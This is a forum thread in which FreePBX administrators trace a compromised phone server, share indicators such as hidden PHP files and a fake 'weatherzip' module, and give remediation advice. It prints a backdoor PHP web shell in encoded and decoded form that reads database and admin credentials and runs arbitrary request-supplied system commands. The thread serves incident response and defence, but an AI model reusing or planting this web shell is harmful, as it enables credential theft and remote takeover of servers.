I’ve been hacked! Macro [thanku-outcall]; thankuohoh

Easy. Replace the word “fwconsole” with “amportal a”

amportal a ma remove fw_ari

amportal a ma delete fw_ari

Fetching FreePBX settings with gen_amp_conf.php…

Module fw_ari successfully deleted

You might want to look at if you want to keep these ports open to the internet at all. Do you have them source restricted to only the IP addresses you are accessing your PBX from?
Close these ports on your firewall and run a VPN server that allows you to connect to your network in a much more secure fashion.

1 Like

This is a good article on keeping your FREEPBX secure:

http://nerdvittles.com/?p=3148

Quoting the author:
“Our rule of thumb on Internet web accessibility to any Asterisk PBX goes like this. Don’t! And, for FreePBX web access from the Internet. Never! If the bad guys ever get into FreePBX, the security of your PBX has been compromised… permanently! This means you need to start over with all-new passwords and install a fresh system. You can’t fix every possible hole that has been opened on a FreePBX-compromised system!”

Now this might apply or not 100% apply to your case, but it’s definitely a worthwhile read.

We found a file called config.php in admin/libraries/php-upgrade/ext

The file is base64 encoded and not on any other installation we have done. The file allows a remote user to post commands that execute as system calls.

The file contains this:

/3673vNbw2bJs5BYaZ3yl87Swl4Meg/eval(/7k8foD2z95LTyQvw1uzz/base64_decode/IHHe2M1h33oobEMPHmZM7SkYnR0Sq/(/H8hpnkcpBfs0DDEqtmMs8UltSJ/‘LypZUjc5REppblRvMnd1ZVIxRU1ZT01QZmdYQzBTRUVKQ3ZRTTlBNHd1c3kwWE5SWnNFWGdyTnZJSzhJRE1tbW9TZGExT2Z5aUk3akZVYkVtUUNEaHA4WmFnSU4zNWFzWG5DWmJTeHVBRk5nellWV1B4QTZYSTY3Wk9WM1U1dlN0N1JGMHA5QjRYKi8Kc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydwJ10pICYmIG1kNSgkX1JFUVVFU1RbJ3AnXSkgPT0gJzZlMWY4MTMxYzk3NDM0YTU4ZTE3YTM1NWVlYzY4ODJiJykgewogICAgJF9TRVNTSU9OWyd6b3onXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWyd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gkX1JFUVVFU1RbJ2MnXSk7CgkgZWNobyAiPC94bXA+IjsKfQovKllSNzlESmluVG8yd3VlUjFFTVlPTVBmZ1hDMFNFRUpDdlFNOUE0d3VzeTBYTlJac0VYZ3JOdklLOElETW1tb1NkYTFPZnlpSTdqRlViRW1RQ0RocDhaYWdJTjM1YXNYbkNaYlN4dUFGTmd6WVZXUHhBNlhJNjdaT1YzVTV2U3Q3UkYwcDlCNFgqLwo=’));/SBLsiUJIi4UHFa9GONlegH1/

It also does this:

grep AMPDB /etc/amportal.conf
grep ARI_ADMIN /etc/amportal.conf

to get your database info and passwords and your ARI admin user and password…

ouch!

What is this, the distro or something else and what version is this running and what was it initially set up as?

Good luck and have a nice day!

Nick

This was on Freepbx Distro, that had probably been compromised when it had fw_ari. It was running freepbx 2.11.

Sure enough… we could not find where they were getting in again and again.
We have our systems patched and updated, yet this kept occurring.

Under /var/www/html/admin/libraries/php-upgrade/ext we found the config.php file noted above.
Only the systems were this was occurring had this extra file.

The file has been deleted, so hopefully there are no other files placed in the system.

Sadly, this has not resolved the issue.
There must be another file they are getting in from.

Any ideas anyone?

In addition to /var/www/html/admin/libraries/php-upgrade/ext/config.php

do an ls -a
You may also find a hidden file at:/var/www/html/.header.php
and may also find a hidden file at:/var/www/html/.marvels.php

This hidden header.php and marvels.php files contain the same base64 exploit as noted above.

Sorry to ask but would it be too painful to just start over with a fresh (not compromised) system and configure it as the old one? Because it sounds like you are playing “whack a mole” game on your old system. You can never know how many other back doors left by the attacker you have not yet discovered.

Hi dziny,

Yes… we are simply sharing our findings for others that may not have an option to rebuilt at all (or right away).

Another piece to the puzzle.
Check for /var/www/html/admin/modules/weatherzip
It will probably show up in your module list but as not installed. It’s a front for something else.

Open http://[IP]/admin/modules/weatherzip in browser and you get form with text input and Marvels button.
The index.php is webadmin.php with the code check at the beginning. The code check compares the input to an md5 hash. I don’t know what the secret code is but I put in my own hash and logged in and found that you have access to webadmin.php.

https://gist.github.com/nic-o/1219610 I assume the code check at the beginning is to keep others out. Yes, with webadmin.php you can upload and view files, etc., as long as the web server has the proper permissions to the selected file/folder.

Thank you Noel
Sure enough, that was there… and showing as not installed in module list.
Now that it has been removed… hopefully this kills them for good.

I am rebuilding all servers, but it takes time to test and migrate… especially with the massive changes in v13 (from v11).

Hi, Please how was the decoding here done?. Found a similar file after getting multiple calls passing through my server (Using Elastix - Basically FreePBX with a diff gui) got the same gibberish in the file after tracking it down (thanks for the tips). PS. Also trying to add forcing the Callers IP into the CDR’s because it seems to be sending calls out as Local/01150932242459@thanku-outcall-00000093;2 so would like to see if I can add some more blocked IP’s to my firewall.

Hi!

In the case of the code that was posted, it was base 64 encoded…

You need to use a base 64 decoder, the easiest way is to use one of the online ones like this one:

http://www.motobit.com/util/base64-decoder-encoder.asp

They did make it a pain to know what to paste though by putting comments with base 64 like garbage in them…

Again, in the case of the code that was posted what to paste into the base 64 decoder started with “LypZUjc5REppblR” and ended with “cDlCNFgqLwo=” (the “=” is a padding character in base 64, when you see them these are the last characters of the base 64 encoded string)…

I guess in an effort to confuse people further the decoded base 64 output of the code that was posted has comments which look like base 64 themselves but are, as far as I know, just garbage…

Good luck and have a nice day!

Nick

WOW!! Thanks… Another thing to learn! This is what I got tho:
/7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY/
session_start();
if (isset($_REQUEST[‘p’]) && md5($_REQUEST[‘p’]) == ‘c597a14b4ee503f6b9257c4e52528d44’) {
$_SESSION[‘zoz’] = ‘logged’;
}
if (!isset($_SESSION[‘zoz’])) {
echo ‘’;
exit(“Angel”);
}
/7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY/
if (isset($_SESSION[‘zoz’]) && $_SESSION[‘zoz’] == ‘logged’ && !isset($_REQUEST[‘silent’])) {
echo ‘’;
echo “”;
@system(“grep AMPDB /etc/amportal.conf”);
echo “---------------------\n”;
@system(“grep ARI_ADMIN /etc/amportal.conf”);
echo “---------------------\n”;
@system($_REQUEST[‘c’]);
echo “”;
}else{
echo “”;
@system($_REQUEST[‘c’]);
echo “”;
}
/7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY/

Hi!

Seems like the same exploit, more or less…

There are some parts missing compared to what was posted earlier (it is supposed to contains an HTML form) but they were quite likely removed by the forum software…

I am no PHP guru but amongst other things they are getting your database info and passwords and your ARI admin user and password…

What version of FreePBX are you using and is it the distro?

Good luck and have a nice day!

Nick

You can try to run Linux Malware Detect (Maldet) on your system to see if it detects the files (and anything else).

There are also lots of “commercial” Linux-based malware scanners out there. IIRC, Sophos (or maybe AVG?) has one that will even do root-kit scanning.